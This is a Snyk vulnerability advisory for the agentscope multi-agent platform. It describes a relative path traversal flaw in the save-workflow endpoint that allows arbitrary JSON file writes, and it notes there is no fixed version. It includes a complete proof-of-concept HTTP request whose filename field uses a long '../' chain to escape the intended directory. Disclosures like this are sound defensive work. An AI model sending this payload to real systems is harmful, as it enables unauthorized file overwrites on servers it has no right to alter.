Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Relative Path Traversal vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for agentscope
.
agentscope is an AgentScope: A Flexible yet Robust Multi-Agent Platform.
Affected versions of this package are vulnerable to Relative Path Traversal through the save-workflow
functionality. An attacker can write arbitrary JSON files on the filesystem by exploiting this vulnerability.
POST /save-workflow HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:5000/
DNT: 1
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Content-Type: application/json;charset=UTF-8
Content-Length: 146
{
"filename": "../../../../../../../../../../../../../home/anis/workflow",
"workflow": "{\"key\": \"value\"}",
"overwrite": true
}